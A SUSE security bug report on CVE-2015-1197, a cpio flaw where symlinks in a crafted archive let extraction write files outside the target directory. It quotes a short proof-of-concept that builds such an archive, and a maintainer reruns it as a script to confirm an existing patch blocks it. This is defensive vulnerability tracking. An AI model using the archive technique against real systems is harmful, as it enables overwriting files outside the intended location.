Bug 913677 (CVE-2015-1197) - VUL-0: CVE-2015-1197: cpio: directory traversal through symlinks
Summary: VUL-0: CVE-2015-1197: cpio: directory traversal through symlinks
Status: RESOLVED FIXED
: CVE-2017-7516 (view as bug list)
Alias: CVE-2015-1197
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Minor
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/112771/
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2015-01-19 12:20 UTC by Victor Pereira
Modified: 2018-03-29 11:15 UTC (History)
3 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Victor Pereira 2015-01-19 12:20:05 UTC
rh#1179773

It was reported [1] that cpio is susceptible to a directory traversal vulnerability.

Original report follows:
...
While extracting an archive, it will extract symlinks and then follow them if 
they are referenced in further entries. This can be exploited by a rogue 
archive to write files outside the current directory.

Example:

1) create a sample archive:

ln -s /tmp dir
echo dir | cpio -oF test.cpio
rm dir
mkdir dir
echo hello > dir/file
echo dir/file | cpio -oAF test.cpio
rm -r dir

2) test it:

cpio --no-absolute-filenames -ivF test.cpio

This will create a symlink "dir" in the current directory and a file 
"/tmp/file".
...

No patches are available at this time.

[1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774669

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1179773
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1197
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1197.html
Comment 1 Marcus Meissner 2015-01-19 13:15:08 UTC
looks related to bug 658010
Comment 2 Swamp Workflow Management 2015-01-19 23:04:50 UTC
bugbot adjusting priority
Comment 3 Vítězslav Čížek 2015-02-02 17:02:35 UTC
(In reply to Marcus Meissner from comment #1)
> looks related to bug 658010

Our patch for bug 658010 prevents this situation:

> cat CVE-2015-1197.sh 
#!/bin/sh
# create archive
ln -s /tmp dir
echo dir | cpio -oF test.cpio
rm dir
mkdir dir
echo hello > dir/file
echo dir/file | cpio -oAF test.cpio
rm -r dir
# test it
cpio --no-absolute-filenames -ivF test.cpio

> ./CVE-2015-1197.sh  
1 block
1 block
dir
cpio: Can't write over symlinks: dir/file

> ls dir/file
ls: cannot access dir/file: No such file or directory
Comment 5 Victor Pereira 2015-02-03 13:37:10 UTC
already fixed
Comment 6 Marcus Meissner 2018-03-29 11:15:26 UTC
*** Bug 1077990 has been marked as a duplicate of this bug. ***